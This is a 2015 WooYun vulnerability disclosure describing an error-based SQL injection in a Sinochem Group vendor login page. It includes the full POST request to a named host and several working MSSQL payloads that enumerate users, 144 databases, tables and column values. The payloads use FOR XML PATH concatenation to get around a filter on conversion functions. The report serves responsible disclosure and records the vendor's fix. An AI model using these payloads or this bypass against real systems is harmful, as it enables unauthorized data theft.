当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152778

漏洞标题：中化集团某重要系统绕过注入爆一百多库全数据（附验证Payload）

相关厂商：中国中化集团公司

漏洞作者： 路人甲

提交时间：2015-11-08 21:16

修复时间：2015-12-15 09:46

公开时间：2015-12-15 09:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-08： 细节已通知厂商并且等待厂商处理中
2015-11-09： 厂商已经确认，细节仅向厂商公开
2015-11-19： 细节向核心白帽子及相关领域专家公开
2015-11-29： 细节向普通白帽子公开
2015-12-09： 细节向实习白帽子公开
2015-12-15： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

绕过，绕过……一句话爆数据，姿势很重要~~

详细说明：

检测发现以下地方存在SQL注入：（POST中的UserName，即登陆口的用户名，报错注入）

POST http://xmsstst1.sinochem.com/vendorlogin.aspx HTTP/1.1
Host: xmsstst1.sinochem.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 734
__VIEWSTATE=%2FwEPDwUENTM4MQ9kFgJmD2QWAmYPZBYCAgMPZBYCAgEPZBYCAgEPPCsACgEADxYEHghVc2VyTmFtZQUSYWRtaW4nIG9yIDE9MiAtLSAtHgtGYWlsdXJlVGV4dAUV6K%2Bl55So5oi35LiN5a2Y5Zyo44CCZBYCZg9kFgQCAQ8PFgIeBFRleHQFEmFkbWluJyBvciAxPTIgLS0gLWRkAgcPDxYCHwIFFeivpeeUqOaIt%2BS4jeWtmOWcqOOAgmRkZM1%2BKal1vOr11W2VIhER4f7gmgoEkLsgBctdoJKcrCBt&__VIEWSTATEGENERATOR=563744BC&__EVENTVALIDATION=%2FwEWBQKni%2BaMDwKfk%2BFfAsjmvpEFAvOLx6sFAurTh6wEsee18zpofUyNmgv%2BCZAn%2B%2FTD%2BOj860NX1YK9rtpmQ5E%3D&ctl00%24ctl00%24ContentPlaceHolder1%24signInControl%24UserName=admin&ctl00%24ctl00%24ContentPlaceHolder1%24signInControl%24password=&ctl00%24ctl00%24ContentPlaceHolder1%24signInControl%24login=&ctl00%24ctl00%24ContentPlaceHolder1%24txtLoginType=BZ


放SQLMap跑数据时发现跑不出来，估计是有过滤，手工检测发现convert/CAST之类的转换和编码的函数被过滤了。想了下，由于目标是MSSQL数据库，直接用字符串比较就会报错了~~于是手工注入出数据。

漏洞证明：

1、当前数据库用户名

admin' or user=1 -- -


user.jpg


2、爆出所有数据库，共144个。本来可以使用以下Payload通过枚举dbid值来逐个逐个库爆出来

aaaa' or (select name from master.dbo.sysdatabases where dbid=1)=1 -- -


但是这样太麻烦了，于是使用MSSQL多行合一的语法，一句话返回所有数据库，Payload如下（由于合为一行后字符串太长了，所以先截取前50个）

aaaa' or (select top 50 ','+name from master.dbo.sysdatabases FOR XML PATH(''))=1 -- -


user.jpg


图中每个数据库名用逗号隔开，复制下来整理了下，共144个库

user.jpg


QQ截图20151108151141.jpg


3、爆数据表，以当前库为例，同样使用多行合一语法，一句话列出所有表，Payload如下

aaaa' or (select ','+table_name from information_schema.tables  FOR XML PATH(''))=1 -- -


QQ截图20151108151141.jpg


整理如下：

QQ截图20151108151141.jpg


4、爆具体值的话，
1）某字段所有值

aaaa' or (select top 30 ','+UserCode from SYS_FBAUser FOR XML PATH(''))=1 -- -


QQ截图20151108151141.jpg


2）某行所有值（涉密，此处就不跑了）

aaaa' or (select * from SYS_FBAUser where UserCode='a' FOR XML PATH(''))=1 -- -


如此循环执行，可跑出144个库全数据，不过为保护企业数据安全，只做测试，具体就不跑了。

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-11-09 08:40

厂商回复：

路人非常专业，我们在应用安全方面做的还不够。

最新状态：

2015-11-20：@路人甲 我们已对SQL做了过滤，还请多指教。

2015-12-15：已修复。